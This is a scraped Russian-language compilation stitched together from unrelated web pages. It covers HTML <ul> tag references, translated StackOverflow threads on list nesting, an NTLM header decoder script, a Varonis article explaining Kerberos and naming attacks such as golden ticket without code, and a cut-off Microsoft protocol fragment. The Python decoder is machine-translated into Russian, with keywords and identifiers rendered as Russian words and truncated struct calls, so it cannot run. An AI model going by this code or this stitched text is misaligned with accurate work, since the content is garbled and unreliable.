Ul html: Тег | htmlbook.ru

Содержание

Тег — неупорядоченный список

Поддержка браузерами

Описание

Маркированный (неупорядоченный) список представляет собой множество элементов, между которыми нет порядка следования. Самые распространенные неупорядоченные списки в интернете — списки гиперссылок на другие документы (например: меню, представляющее собой ненумерованный список HTML).

Для создания маркированного списка в HTML используется тег <ul> (unordered list), который сообщает браузеру, что всё, следующее за ним, вплоть до закрывающего тега </ul>, представляет собой маркированный список. Каждый элемент маркированного списка определяется тегом <li>. Кроме этого, в элементы списка можно вставить практически любое содержимое, включая другие списки, изображения, текст и т.д.

HTML тег <ul> является блочным элементом, при отображении он будет занимать всю доступную ему ширину, а размер высоты будет зависеть от количества содержимого. По умолчанию браузер предваряет каждый элемент списка специальным маркером и располагает каждый элемент с новой строки, применяя к нему небольшой отступ от левого края.

Примечание: для изменения типа маркера используйте CSS свойство list-style-type или свойство list-style-image, позволяющее заменять маркеры на изображения.

Для создания нумерованных (упорядоченных) списков используйте тег <ol>.

Атрибуты

Тег <ul> поддерживает Глобальные атрибуты и События

Стиль по умолчанию


ul {
    display: block;
    list-style-type: disc;
    margin-top: 1em;
    margin-bottom: 1 em;
    margin-left: 0;
    margin-right: 0;
    padding-left: 40px;
}  

Пример


<ul>
  <li>Кофе</li>
  <li>Чай</li>
  <li>Молоко</li>
</ul>

Результат данного примера в окне браузера:

| HTML | WebReference

Элемент <ul> (от англ. unordered list — неупорядоченный список) устанавливает маркированный список. Каждый пункт списка должен начинаться с элемента <li>.

Синтаксис

<ul>
  <li>пункт маркированного списка</li>
</ul>

Закрывающий тег

Пример

<!DOCTYPE HTML>
<html>
<head>
<meta charset=»utf-8″>
<title>UL</title>
</head>
<body>
<ul>
<li>Баал</li>
<li>Агарес</li>
<li>Марбас</li>
<li>Пруфлас</li>
<li>Аамон</li>
</ul>
</body>
</html>

Результат данного примера показан на рис. 1.

Рис. 1. Вид маркированного списка в браузере

Спецификация

Каждая спецификация проходит несколько стадий одобрения.

  • Recommendation (Рекомендация) — спецификация одобрена W3C и рекомендована как стандарт.
  • Candidate Recommendation (Возможная рекомендация) — группа, отвечающая за стандарт, удовлетворена, как он соответствует своим целям, но требуется помощь сообщества разработчиков по реализации стандарта.
  • Proposed Recommendation (Предлагаемая рекомендация) — на этом этапе документ представлен на рассмотрение Консультативного совета W3C для окончательного утверждения.
  • Working Draft (Рабочий проект) — более зрелая версия черновика после обсуждения и внесения поправок для рассмотрения сообществом.
  • Editor’s draft (Редакторский черновик) — черновая версия стандарта после внесения правок редакторами проекта.
  • Draft (Черновик спецификации) — первая черновая версия стандарта.

Особняком стоит живой стандарт HTML (Living) — он не придерживается традиционной нумерации версий, поскольку находится в постоянной разработке и обновляется регулярно.

Браузеры

В таблице браузеров применяются следующие обозначения.

  •  — элемент полностью поддерживается браузером;
  •  — элемент браузером не воспринимается и игнорируется;
  •  — при работе возможно появление различных ошибок, либо элемент поддерживается с оговорками.

Число указывает версию браузреа, начиная с которой элемент поддерживается.

Автор и редакторы

Автор: Влад Мержевич

Последнее изменение: 10.10.2018

Редакторы: Влад Мержевич

Тег ul

Пример

Неупорядоченный список HTML:

<ul>
 
<li>Coffee</li>
 
<li>Tea</li>
 
<li>Milk</li>
</ul>

Подробнее примеры ниже.


Определение и использование

Тег <ul> определяет неупорядоченный (маркированный) список.

Используйте тег <ul> вместе с <li> тег для создания неупорядоченных списков.


Поддержка браузера

Элемент
<ul>ДаДаДаДаДа

Советы и примечания

Совет: Используйте CSS для стилей списков.

Совет: Для создания упорядоченных списков используйте тег <ol>
.


Различия между HTML 4,01 и HTML5

Атрибуты «compact» и «type» Не поддерживается в HTML5.



Атрибуты

АтрибутЗначениеОписание
compactcompactНе поддерживается в HTML5.
Указывает, что список должен отображать меньше, чем обычный
typedisc
square
circle
Не поддерживается в HTML5.
Указывает тип маркера для использования в списке

Глобальные атрибуты

Тег <ul> также поддерживает Глобальные атрибуты в HTML.


Атрибуты события

Тег <ul> также поддерживает Атрибуты событий в HTML.


Попробуйте примеры

Вложенный список
Список внутри списка.

Другой вложенный список
Более сложный вложенный список.


Похожие страницы

HTML Учебник: HTML Lists

HTML DOM Ссылки: Ul Object

CSS Учебник: Styling Lists


Параметры CSS по умолчанию

В большинстве обозревателей элемент <ul> будет отображаться со следующими значениями по умолчанию:

Пример

ul {
    display: block;
    list-style-type: disc;
    margin-top: 1em;
    margin-bottom: 1 em;
    margin-left: 0;
    margin-right: 0;
    padding-left: 40px;
}

HTML для начинающих — Списки — тег

HTML для начинающих


На каждом сайте есть меню навигации. Вы не задумывались как правильно его создавать?

Наиболее правильный вариант это использование списков — тег ul. Причем в не зависимости горизонтальное это меню либо вертикальное.
Можно конечно сделать и при помощи дивов, но все-таки корректнее использовать ul.
Создание меню это один из примеров использование списков.

В идеале в ul следует «оборачивать»
любую информацию которая несет смысл перечисление каких либо свойств объекта, но по объему до таблицы не дотягивает.
Почему именно ul, а не тем же дивом или спаном? Да потому что тег ul именно для этих целей и был придуман и соответственное его и следует применять, а не замещать другими тегами.
На это, кстати, обращают внимание и поисковые боты. То есть чтобы ваши странички лучше парсились поисковыми системами, то теги следует применять по их прямому назначению.



Каждый элемент информации которая заключена внутри тега ul следует оборачивать тегом li. Тоесть тег li определяет строку (ну или элемент меню если брать меню сайта как пример).

Синтаксис следующий:


<ul>
 <li>Элемент меню1</li>
 <li>Элемент меню2</li>
 <li>Элемент меню3</li>
</ul>

У тега ul есть специальный атрибут type который определяет картинку отображающуюся рядом с элементами.
Атрибут type может принимать следующие значения —

  • circle — черный квадрат
  • square — белая точка с черными краями
  • disc — черная точка


Так же знак маркировки можно задавать самим при помощи стилей list-style-image(что мы и сделаем в видеоуроке) .
Маркированный список ul можно сделать и горизонтальным наложив на него стили display: inline; для элементов списка ( li )


Помимо работы со списками в этом видеоуроке мы потренируемся с размещением блоков (div) на странице. Рассмотрим свойства float и clear

HTML тег ul | назначение, синтаксис, атрибуты, примеры

Последнее обновление: 01.03.2009

Тег <ul> (англ. unordered — неупорядоченный) — тег-контейнер, создает маркированный список.
Блочный элемент.

HTML: 3.2 | 4 / XHTML: 1.0 | 1.1

Синтаксис


<ul>
<li>...</li>
</ul>

Атрибуты

Основные
Вспомогательные
События

classопределяет имя используемого класса
compactфлаг. Выводит список с уменьшенными отступами.
Отсутствует в спецификации HTML 4.01!
dirопределяет направление символов:

  • ltr — слева направо
  • rtl — справа налево
idуникальный индетификатор
langопределяет используемый язык
onclickщелчек на элементе
ondblclickдвойной щелчек на элементе
onkeydownнажатие клавиши, когда элемент имеет фокус
onkeypressнажатие и освобождении клавиши, когда элемент имеет фокус
onkeyupосвобождение ранее нажатой клавиши, когда элемент имеет фокус
onmousedownнажатие кнопки мыши, когда элемент имеет фокус
onmousemoveдвижение указателя мыши, когда элемент имеет фокус
onmouseoutсмещение указателя мыши с элемента
onmouseoverпомещение указателя мыши на элемент
onmouseupосвобождение ранее нажатой кнопки мыши, когда элемент имеет фокус
styleзадает встроенную таблицу стилей
titleдобавляет всплывающую подсказку
typeопределяет вид маркера

  • disc — маркер-диск (по умолчанию)
  • circle — маркер-круг
  • square — маркер-квадрат
Пример

Типы маркеров:


<ul>
<li type="disc">disc — маркер-диск (по умолчанию)</li>
<li type="circle">circle — маркер-круг</li>
<li type="square">square — маркер-квадрат</li>
</ul>

Рекомендации по использованию
  • закрывающий тег обязателен (</ul>)
  • может содержать только теги <li>
  • обязательных атрибутов нет
  • для задания вида списка рекомендуется использовать не атрибуты тега <ul>, а таблицы стилей
  • по умолчанию браузерами список выводится с отступами
  • списки можно вкладывать друг в друга, вложенные списки отображаются с увеличенным левым отступом
  • тег <ul> наиболее подходит для создания меню (меню можно трактовать как список ссылок)
  • элемент уровня блока, т.е. содержимое тега по умолчанию начинается с новой строки. После тега также добавляется перенос строки (если в свойствах блока не прописано другого)

Твой код:

<html>
<head>
<title></title>
<style type=»text/css»>
.disc {list-style-type: disc}
.circle {list-style-type: circle}
.square {list-style-type: square}
</style>
</head>
<body>

<ul>
<li>disc — маркер-диск (по умолчанию)</li>
<li>circle — маркер-круг</li>
<li>square — маркер-квадрат</li>
</ul>

</body>
</html>
Сделай код и жми тут

Результат:

большой полигон

По теме:

Псевдоэлемент before для маркера списка

Вложенность тегов между и

Быстрый вопрос HTML. Достаточно ли вложить тег <a> между тегами <ul> и <li> вот так:

<ul>
  <a href="somewhere.html">
    <li>Option 1<li>
  </a>
  <a href="somewhereElse.html">
    <li>Option 2<li>
  </a>
<ul>

Спасибо!

html

syntax

markup

Поделиться

Источник


Tom    

23 мая 2013 в 13:04

4 ответа


  • «Enter» между тегами <li> и <a> разрывает макет

    Я получил html от разработчиков frontend. Часть меню выглядит следующим образом: <ul id=subNav> <li><a href=#>Menu item 1</a></li> <li><a href=#>Menu item 2</a></li> </ul> Мне пришлось добавить несколько программных тегов, и чтобы код…

  • IE 7 ul li вложенность и позиционирование-верхний конец не совпадает

    Вот ссылка на эту страницу: http:/ / themes.brixwork.com / альтамонт / Расположение тегов под ul#menu, по-видимому, искажено в IE7. Для уточнения я поставил границы между пунктами UL (#f00) и LI (#0f0). В Firefox элементы LI правильно гнездятся на вершине UL, однако на IE элементы LI гнездятся на…



1

Это недопустимо HTML. <a> должен быть внутри <li> .

Поделиться


John Conde    

23 мая 2013 в 13:05



1

Это правильно :

<ul>
  <li>
    <a href="somewhere.html">Option 1</a>
  </li>
  <li>
    <a href="somewhereElse.html">Option 2</a>
  </li>
</ul>

Поделиться


Fabien Sa    

23 мая 2013 в 13:07



1

Правильный синтаксис требует, чтобы вы вложили тег <a> в <li> :

<ul>
  <li><a href="somewhere.html">Option 1</a><li>
  <li><a href="somewhereElse.html">Option 2</a><li>
<ul>

Поделиться


Lawson    

23 мая 2013 в 13:07



0

Это недопустимо, поскольку встроенные элементы не могут содержать блочные элементы. Встроенные элементы могут содержать только другие встроенные элементы. Элементы блока могут содержать как встроенные, так и другие элементы блока.

Правильный HTML:

<ul>
     <li>
          <a href="somewhere.html">Option 1</a>
     </li>
     <li>
          <a href="somewhereElse.html">Option 2</a>
     </li>
</ul>

По умолчанию теги li и a являются встроенными. ul по умолчанию является блоком.
См. Список встроенных элементов и список блочных элементов для дальнейшего чтения

Поделиться


MikeB    

23 мая 2013 в 13:11


Похожие вопросы:

Как обернуть группы тегов li внутри ul

У меня есть навигационное меню, которое содержит кучу тегов li, и некоторые из них имеют этот класс sub-item, и я хочу сгруппировать эти теги li внутри ul, чтобы моя навигация была такой : <ul…

jQuery петля через несколько тегов ul и установка уникальной ширины на основе тегов li

мой заголовок отчасти объясняет проблему. Мне нужно пройти через несколько тегов ul и получить ширину тегов li, чтобы я мог установить ширину тега ul. Это мой код jquery: var ul_width = 0; var…

Как найти ширину ребенка ul li a

У меня есть следующий неупорядоченный список, завернутый в div, как показано ниже <div id=menuwrapper> <ul> <li>home <ul> <li><a>anchor1</a></li>…

«Enter» между тегами <li> и <a> разрывает макет

Я получил html от разработчиков frontend. Часть меню выглядит следующим образом: <ul id=subNav> <li><a href=#>Menu item 1</a></li> <li><a href=#>Menu item…

IE 7 ul li вложенность и позиционирование-верхний конец не совпадает

Вот ссылка на эту страницу: http:/ / themes.brixwork.com / альтамонт / Расположение тегов под ul#menu, по-видимому, искажено в IE7. Для уточнения я поставил границы между пунктами UL (#f00) и LI…

вложенность других тегов html внутри ul, кроме li

Являются ли эти части кода синтаксически правильными? Я использую первый фрагмент кода для создания навигации (вложенный тег заголовка внутри ul). Если это неправильно или это плохая практика,…

разница в стиле css между <ul> > <li> и <ul> <li>

В чем разница в стилизации css между divClass > ul > li > a и divClass ul li a в основном я пытаюсь стилизовать якорный тег, который находится в li и li принадлежит ul, конечно, и ul…

Зациклите строку в подменю to, поместив теги внутри тегов маленький пример <li> <ul> folder1 <li> <ul> folder2 <ul> </li> <ul> </li>

Мне очень трудно понять это, я был бы признателен за любую помощь!. Я хочу зациклить строку в ее собственном подменю, поместив теги внутри тегов маленький пример $string =…

Как применить другой стиль к тегам <ul> <li> и <a> в разных меню

Я хочу применить стиль к тегам верхнего меню <ul> , <li> и <a> и другой стиль к тегам основного меню <ul> , <li> и <a> . как это возможно. Короче я хочу другой…

Укладка тегов <a> внутри <ul> <li>

Я хотел бы добавить эффект наведения курсора мыши, когда пользователь перемещает курсор мыши по одной из ссылок меню. Я также хотел бы немного места между каждой строкой в меню. Есть ли способ…

Допустима ли эта структура HTML? UL > DIV > { LI, LI } , DIV > { LI, LI } , DIV > { LI, LI }

Допустима ли эта структура HTML?

<ul>
  <div>
    <li>Item 1</li> 
    <li>Item 2</li> 
    <li>Item 3</li> 
  </div>
  <div>
    <li>Item 4</li> 
    <li>Item 5</li> 
    <li>Item 6</li> 
  </div>
  <div>
    <li>Item 7</li> 
    <li>Item 8</li> 
    <li>Item 9</li> 
  </div>
</ul>

Я вставляю li внутрь div, который находится внутри ul. А ты как думаешь? Является ли эта структура семантически валидной и будет ли она признана единым списком?

html

Поделиться

Источник


Sam    

19 декабря 2011 в 06:28

4 ответа


  • Расширьте UL LI с пределом LI

    У меня есть следующий вывод HTML; <div id=list> <ul> <li>Test 1</li> <li>Test 2.</li> <li>Test 3</li> <li>Test 4</li> <li>Test 5</li> <li>Test 6</li> <li>Test 7</li> <li>Test 8</li>…

  • Выпуск Div в формате ul li

    Я поместил меню в формате <ul> <li> в тег div. внутри div у меня есть один тег <ul> и четыре тега <li> . Среди всех <li> в одном ![<li>][1] я поместил текстовое поле поиска. Проблема здесь в том, что меню отлично работает в firefox, но в других браузерах, таких…


Поделиться


kba    

19 декабря 2011 в 06:33



1

<div> ‘s технически недопустимы внутри <ul> ‘s. Валидатор W3 возвращает этот результат:

Элемент div не допускается в качестве дочернего элемента элемента ul в этом контексте

Было бы более разумно сгруппировать код, который у вас есть, например:

<div>
<ul>
    <li>Item 1</li> 
    <li>Item 2</li> 
    <li>Item 3</li> 
    <li>Item 4</li> 
    <li>Item 5</li> 
    <li>Item 6</li> 
    <li>Item 7</li> 
    <li>Item 8</li> 
    <li>Item 9</li> 
</ul>
</div>

Поделиться


Charlie    

19 декабря 2011 в 06:36



0

Нет, это недопустимо ни в HTML4, ни в XHTML, ни в HTML5.

Если вы проверите это с помощью валидатора w3c markup, вы, вероятно, получите что-то вроде:

Элемент div не допускается в качестве дочернего элемента элемента ul

Подробнее о списках можно узнать здесь.

Поделиться


Bjoern    

19 декабря 2011 в 06:35



0

Допустимо также сделать следующее:

          <ul>
            <li>
                <div>Title</div>
                <ul>
                    <li>Item</li>
                    <li>Item</li>
                </ul>
            </li>
            <li>
                <div>Title</div>
                <ul>
                    <li>Item</li>
                    <li>Item</li>
                </ul>
            </li>
        </ul>

Я зарегистрировался в http://validator.w3.org/проверить

Поделиться


Nahum Nuñez    

03 сентября 2014 в 18:44



Похожие вопросы:

Вставка элемента li в ul определенного div

Я хотел бы использовать JavaScript — insert новый элемент li в существующем ul. Новый элемент li будет последним элементом в ul. <div id=foo> <div> <ul> <li></li>…

HTML CSS ul и li в div

У меня есть следующий код HTML: <div class=playerInfo> <ul> <li id=playerTeam> team </li> <li id=player> player </li> </ul> </div> У меня есть…

центр ul li изображения в div

Я пытаюсь центр UL и Li образы, но это не происходит я пробовал это , но это не работает для меня. Я хочу центрировать неупорядоченный список и это элемент списка HTML <div class=brands>…

Расширьте UL LI с пределом LI

У меня есть следующий вывод HTML; <div id=list> <ul> <li>Test 1</li> <li>Test 2.</li> <li>Test 3</li> <li>Test 4</li> <li>Test…

Выпуск Div в формате ul li

Я поместил меню в формате <ul> <li> в тег div. внутри div у меня есть один тег <ul> и четыре тега <li> . Среди всех <li> в одном ![<li>][1] я поместил текстовое…

css ul li 100% использование пространства внутри фиксированного div, но динамического li

У меня есть одна страница, на которой ширина div фиксирована и она централизована. и ul>li также необходимо централизовать, взяв свои собственные 100% width четных пространств слева и справа. в…

Как добавить li внутри нового div

У меня есть HTML markup такой: <ul> <li>Item 1</li> <li>Item 2</li> <li>Item 3</li> <li>Item 4</li> <li>Item 5</li> <li>Item…

Css центр ul li внутри div

Как я могу центрировать этот ul li внутри следующего div / nav, я использовал базовые классы bootstrap <nav class=navbar navbar-default navbar-static-top> <div class=container> <div…

Выберите конкретный li в div

У меня есть список в div, и я хочу захватить событие щелчка по конкретному ‘li’ с jQuery. Моя структура html является: <div class=select area-select> <div…

почему элемент <li> под <div> визуализируется иначе, чем элемент <li> под <ul> ?

я хочу временно поместить элемент li под div , но я заметил, что элемент визуализируется по-разному, даже если родительский элемент div стилизован точно так же, как исходный родительский элемент ul…

NTLM-декодер строки аутентификации · GitHub

#! / Usr / bin / env python
## Декодирует NTLM «Аутентификация» больших двоичных объектов HTTP-заголовка.
## Читает необработанный большой двоичный объект из стандартного ввода; распечатывает содержащиеся метаданные.
## Поддерживает (автоматически определяет) сообщения типа 1, типа 2 и типа 3.
## На основе отличного описания протокола от:
##
## с дополнительными деталями, впоследствии добавленными из официальной спецификации протокола:
##
##
## Например:
##
## $ echo «TlRMTVNTUAABAAAABYIIAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAwAAAA» | ./ntlmdecoder.py
## Найден заголовок NTLMSSP
## Тип сообщения: 1 (Запрос)
## Домен: » [] (0b @ 0)
## Рабочая станция: » [] (0b @ 0)
## OS Ver: ‘???? 0 ???’
## Флаги: 0x88205 [«Согласовать Unicode», «Запросить цель», «Согласовать NTLM», «Согласовать всегда подписывать», «Согласовать ключ NTLM2»]
##
импортная система
импортная база64
структура импорта
строка импорта
импортных коллекций
flags_tbl_str = «» «0x00000001 Согласование Unicode
0x00000002 Согласование OEM
0x00000004 Цель запроса
0x00000008 неизвестно
0x00000010 Знак переговоров
0x00000020 Переговорная печать
0x00000040 Согласование стиля дейтаграммы
0x00000080 Согласование ключа Lan Manager
0x00000100 Согласование Netware
0x00000200 Согласование NTLM
0x00000400 неизвестно
0x00000800 Согласование анонимно
0x00001000 Домен согласования предоставлен
0x00002000 Поставляется рабочая станция для переговоров
0x00004000 Согласование местного вызова
0x00008000 Согласовывать всегда подписывать
0x00010000 Домен целевого типа
0x00020000 Сервер целевого типа
0x00040000 Тип цели Поделиться
0x00080000 Согласование ключа NTLM2
0x00100000 Запросить ответ на инициализацию
0x00200000 Ответ на запрос о принятии
0x00400000 Запрос сеансового ключа, отличного от NT
0x00800000 Согласование информации о цели
0x01000000 неизвестно
0x02000000 неизвестно
0x04000000 неизвестно
0x08000000 неизвестно
0x10000000 неизвестно
0x20000000 Согласовать 128
0x40000000 Обмен ключами согласования
0x80000000 Согласование 56 «» «
flags_tbl = [строка.split (‘\ t’) для строки в flags_tbl_str.split (‘\ n’)]
flags_tbl = [(int (x, base = 16), y) для x, y в flags_tbl]
def flags_lst (флаги):
возврат [desc for val, desc in flags_tbl if val & flags]
def flags_str (флаги):
возврат ‘,’.join (‘»% s»‘% s для s в flags_lst (flags))
VALID_CHRS = набор (строка. буквы + строка. цифры + строка. пунктуация)
def clean_str (st):
return » .join ((s if s in VALID_CHRS else ‘?’) For s in st)
класс StrStruct (объект):
def __init __ (self, pos_tup, raw):
длина, размещение, смещение = pos_tup
сам.длина = длина
self.alloc = alloc
self.offset = смещение
self.raw = raw [смещение: смещение + длина]
self.utf16 = Ложь
, если len (self.raw)> = 2 и self.raw [1] == ‘\ 0’:
сам.строка = self.raw.decode (‘utf-16’)
self.utf16 = True
иначе:
self.string = self.raw
def __str __ (сам):
st = «% s ‘% s’ [% s] (% db @% d)»% (‘u’ если self.utf16 else »,
clean_str (сам.строка),
self.raw.encode (‘шестнадцатеричный’),
самодлина, самосмещение)
, если self.alloc! = Self.length:
st + = «alloc:% d»% self.alloc
ул. Возврата
msg_types = коллекции.defaultdict (лямбда: «НЕИЗВЕСТНО»)
msg_types [1] = «Запрос»
msg_types [2] = «Вызов»
msg_types [3] = «Ответ»
target_field_types = collections.defaultdict (лямбда: «НЕИЗВЕСТНО»)
target_field_types [0] = «ТЕРМИНАТОР»
target_field_types [1] = «Имя сервера»
target_field_types [2] = «Имя домена AD»
target_field_types [3] = «FQDN»
target_field_types [4] = «DNS-имя домена»
target_field_types [5] = «Родительский домен DNS»
target_field_types [7] = «Отметка времени сервера»
по умолчанию main ():
st_raw = sys.stdin.read ()
попробовать:
st = base64.b64decode (st_raw)
кроме e:
print «Введена недопустимая строка в кодировке base64»
возврат
, если st [: 8] == «NTLMSSP \ 0»:
печать «Найден заголовок NTLMSSP»
иначе:
печать «Заголовок NTLMSSP не найден в начале строки ввода»
возврат
ver_tup = структура.распаковать («
ver = ver_tup [0]
print «Тип сообщения:% d (% s)»% (ver, msg_types [ver])
, если ver == 1:
pretty_print_request (st)
elif ver == 2:
pretty_print_challenge (ул)
elif ver == 3:
pretty_print_response (st)
иначе:
print «Неизвестная структура сообщения.Есть необработанное (в шестнадцатеричной кодировке) сообщение: «
печать st.encode («шестнадцатеричный»)
def opt_str_struct (имя, строка, смещение):
nxt = st [смещение: смещение + 8]
, если len (nxt) == 8:
hdr_tup = структура.распаковать («
печать «% s:% s»% (name, StrStruct (hdr_tup, st))
иначе:
печать «% s: [опущено]»% name
def opt_inline_str (имя, улица, смещение, размер):
nxt = st [смещение: смещение + sz]
, если len (nxt) == sz:
выведите «% s: ‘% s'»% (name, clean_str (nxt))
иначе:
печать «% s: [опущено]»% name
def pretty_print_request (st):
hdr_tup = структура.распаковать («
флагов = hdr_tup [0]
opt_str_struct («Домен», ул. 16)
opt_str_struct («АРМ», ул. 24)
opt_inline_str («OS Ver», ул. 32, 8)
print «Flags: 0x% x [% s]»% (flags, flags_str (флаги))
def pretty_print_challenge (st):
hdr_tup = структура.распаковать («
печать «Имя цели:% s»% StrStruct (hdr_tup [0: 3], st)
print «Challenge: 0x% x»% hdr_tup [4]
флагов = hdr_tup [3]
opt_str_struct («Контекст», ул. 32)
nxt = st [40:48]
, если len (nxt) == 8:
hdr_tup = структура.распаковать («
tgt = StrStruct (hdr_tup, st)
output = «Цель: [блок] (% db @% d)»% (tgt.length, tgt.offset)
, если tgt.alloc! = Tgt.length:
выход + = «alloc:% d»% tgt.alloc
вывод на печать
сырье = tgt.сырой
поз. = 0
, в то время как pos + 4
rec_hdr = struct.unpack («
rec_type_id = rec_hdr [0]
rec_type = target_field_types [rec_type_id]
rec_sz = rec_hdr [1]
subst = raw [pos + 4: pos + 4 + rec_sz]
печать «% s (% d):% s»% (rec_type, rec_type_id, subst)
поз + = 4 + rec_sz
opt_inline_str («OS Ver», ул. 48, 8)
print «Flags: 0x% x [% s]»% (flags, flags_str (флаги))
def pretty_print_response (st):
hdr_tup = структура.распаковать («<ххиххиххиххихи", ул [12:52])
печать «LM Resp:% s»% StrStruct (hdr_tup [0: 3], st)
печать «NTLM Resp:% s»% StrStruct (hdr_tup [3: 6], st)
печать «Имя цели:% s»% StrStruct (hdr_tup [6: 9], st)
распечатать «Имя пользователя:% s»% StrStruct (hdr_tup [9:12], st)
выведите «Имя хоста:% s»% StrStruct (hdr_tup [12:15], st)
opt_str_struct («Сессионный ключ», ул. 52)
opt_inline_str («OS Ver», ул. 64, 8)
nxt = st [60:64]
, если len (nxt) == 4:
flg_tup = структура.распаковать («
flags = flg_tup [0]
print «Flags: 0x% x [% s]»% (flags, flags_str (флаги))
иначе:
печать «Флаги: [опущено]»
, если __name__ == «__main__»:
основной ()

Разъяснение аутентификации Kerberos

Согласно мифу, Кербер (вы, возможно, знаете его как Цербер) охраняет Врата в Подземный мир.Это большой трехголовый пес со змеей вместо хвоста и очень плохим характером.

В современном мире компьютерные ученые Массачусетского технологического института использовали имя и визуализацию Kerberos для своего протокола аутентификации компьютерной сети. Kerberos использует криптографию с симметричным ключом и требует авторизации доверенной третьей стороны для проверки личности пользователя. Поскольку Kerberos требует для аутентификации 3-х сущностей и имеет отличный послужной список по повышению безопасности вычислений, это имя действительно подходит.

Получите бесплатное тестирование на проникновение в средах Active Directory EBook

«Это действительно открыло мне глаза на безопасность AD, чего никогда не делала защитная работа.”

Что такое Kerberos?

Проверка подлинности Kerberos в настоящее время является технологией авторизации по умолчанию, используемой Microsoft Windows, а реализации Kerberos существуют в Apple OS, FreeBSD, UNIX и Linux.

Microsoft представила свою версию Kerberos в Windows2000. Он также стал стандартом для веб-сайтов и реализаций единого входа на разных платформах. Консорциум Kerberos поддерживает Kerberos как проект с открытым исходным кодом.

Kerberos — это значительное улучшение предыдущих технологий авторизации.Надежная криптография и сторонняя авторизация билетов значительно затрудняют проникновение киберпреступников в вашу сеть. Он не лишен недостатков, и чтобы защититься от них, вам нужно сначала их понять.

Kerberos сделал Интернет и его жителей более безопасными и позволяет пользователям выполнять больше работы в Интернете и в офисе без ущерба для безопасности.

В чем разница между Kerberos и NTLM?

До Kerberos Microsoft использовала технологию аутентификации под названием NTLM.NTLM означает NT Lan Manager и представляет собой протокол аутентификации типа запрос-ответ. Целевой компьютер или контроллер домена запрашивают и проверяют пароль, а также сохраняют хэши паролей для дальнейшего использования.

Самая большая разница между двумя системами — это сторонняя проверка и более надежное шифрование в Kerberos. Этот дополнительный этап процесса обеспечивает значительный дополнительный уровень безопасности по сравнению с NTLM.

В наши дни системы NTLM

можно взломать за считанные часы: это просто устаревшая технология, и вам не следует полагаться на NTLM для защиты конфиденциальных данных.

Как пройти аутентификацию с помощью Kerberos?

Вот самые основные шаги, предпринятые для аутентификации в среде Kerberized.

  1. Клиент запрашивает билет проверки подлинности (TGT) из центра распространения ключей (KDC)
  2. KDC проверяет учетные данные и отправляет обратно зашифрованный TGT и ключ сеанса
  3. TGT зашифрован с использованием секретного ключа службы выдачи билетов (TGS)
  4. Клиент сохраняет TGT, и когда он истекает, локальный менеджер сеанса запросит другой TGT (этот процесс прозрачен для пользователя)

Если Клиент запрашивает доступ к службе или другому ресурсу в сети, это процесс:

  1. Клиент отправляет текущий TGT в TGS с именем участника службы (SPN) ресурса, к которому клиент хочет получить доступ
  2. KDC проверяет TGT пользователя и то, что у пользователя есть доступ к службе
  3. TGS отправляет клиенту действительный сеансовый ключ для службы
  4. Клиент пересылает сеансовый ключ службе, чтобы доказать, что у пользователя есть доступ, и служба предоставляет доступ.

Можно ли взломать Kerberos?

Да. Поскольку это один из наиболее широко используемых протоколов аутентификации, хакеры разработали несколько способов взлома Kerberos. В большинстве этих взломов используются уязвимости, слабые пароли или вредоносное ПО — иногда сочетание всех трех факторов. Вот некоторые из наиболее успешных методов взлома Kerberos:

  • Pass-the-ticket: процесс подделки сеансового ключа и представление этой подделки ресурсу в качестве учетных данных
  • Golden Ticket: билет, который предоставляет доступ администратора домена пользователя
  • Серебряный билет: поддельный билет, который дает доступ к службе
  • .

  • Заполнение учетных данных / Брутфорс: автоматические попытки угадать пароль
  • Понижение уровня шифрования с помощью Skeleton Key Malware: вредоносная программа, которая может обходить Kerberos, но для атаки требуется доступ администратора.
  • Атака

  • DCShadow: новая атака, при которой злоумышленники получают достаточно доступа внутри сети для создания собственного DC для дальнейшего проникновения

Устарел ли протокол Kerberos?

Kerberos далеко не устарел и зарекомендовал себя как адекватный протокол управления безопасным доступом, несмотря на способность злоумышленников взломать его.Основным преимуществом Kerberos является возможность использовать надежные алгоритмы шифрования для защиты паролей и билетов проверки подлинности. На современных компьютерах любая атака методом грубой силы на протокол шифрования AES, используемый в текущей версии Kerberos, займет примерно больше времени, чем этой солнечной системе осталось, чтобы выжить. Достаточно сказать: Kerberos будет какое-то время в той или иной форме.

Что заменит Kerberos?

В настоящее время нет реальных претендентов на замену Kerberos.Большинство достижений в области безопасности связано с защитой вашего пароля или предоставлением другого метода проверки подлинности для Kerberos. Kerberos по-прежнему остается внутренней технологией. Kerberos превосходит систему единого входа (SSO), что делает его гораздо более удобным для использования на современном подключенном к Интернету рабочем месте. С помощью SSO вы один раз подтверждаете свою личность в Kerberos, а затем Kerberos передает ваш TGT другим службам или машинам в качестве подтверждения вашей личности.

Самым слабым звеном в цепочке Kerberos является пароль.Пароли могут быть взломаны методом перебора или украдены с помощью фишинговых атак. По этой причине многофакторная аутентификация (MFA) становится все более популярной для защиты онлайн-идентичности. С MFA вам понадобится пароль и что-то еще — случайный токен, мобильный телефон, электронная почта, отпечаток большого пальца, сканирование сетчатки глаза, распознавание лиц и т. Д. — чтобы доказать, что вы на самом деле являетесь тем, кем вы говорите Kerberos.

Как Varonis контролирует Kerberos?

Varonis отслеживает домены Active Directory на предмет атак Kerberos, повышения привилегий, атак методом грубой силы и т. Д.Наша аналитика безопасности объединяет пользовательские события, события безопасности и телеметрию периметра, чтобы обнаруживать и предупреждать о потенциальных атаках и уязвимостях безопасности.

Примеры моделей угроз Varonis, которые помогают обнаруживать атаки Kerberos, включают:

  • Потенциальная атака с передачей билета: доступ к ресурсу был запрошен без надлежащей аутентификации в обход протокола Kerberos.
  • Неудачное повышение привилегий обнаружено через уязвимость в Kerberos: злоумышленник попытался повысить свои привилегии через уязвимость Kerberos.
  • Потенциальная атака методом грубой силы, нацеленная на конкретную учетную запись: Произошло необычное количество сбоев аутентификации с одного IP-адреса одним пользователем.
  • Действия с сертификатом безопасности не администраторами: Активность в файлах сертификации была обнаружена пользователем, не являющимся администратором, что потенциально указывает на попытку злоумышленника украсть подписи.
  • … и это только начало!

Узнайте, как Varonis реально обнаруживает атаки Kerberos, с помощью демонстрации 1: 1 сегодня — и свяжитесь с нами, чтобы узнать больше о наших моделях угроз.

[MS-APDS]: события обработки сообщений и правила последовательности

  • 4 минуты на чтение

В этой статье

Вход NTLM — это
протокол без состояния с семантикой запрос-ответ.

Сервер NTLM МОЖЕТ <6> вызвать NetrLogonSamLogonEx
метод ([MS-NRPC]
раздел 3.5.4.5.1)
с параметрами, определенными в следующих разделах.На основании аккаунта
указанное имя, контроллер домена (DC)
для домена ДОЛЖЕН быть
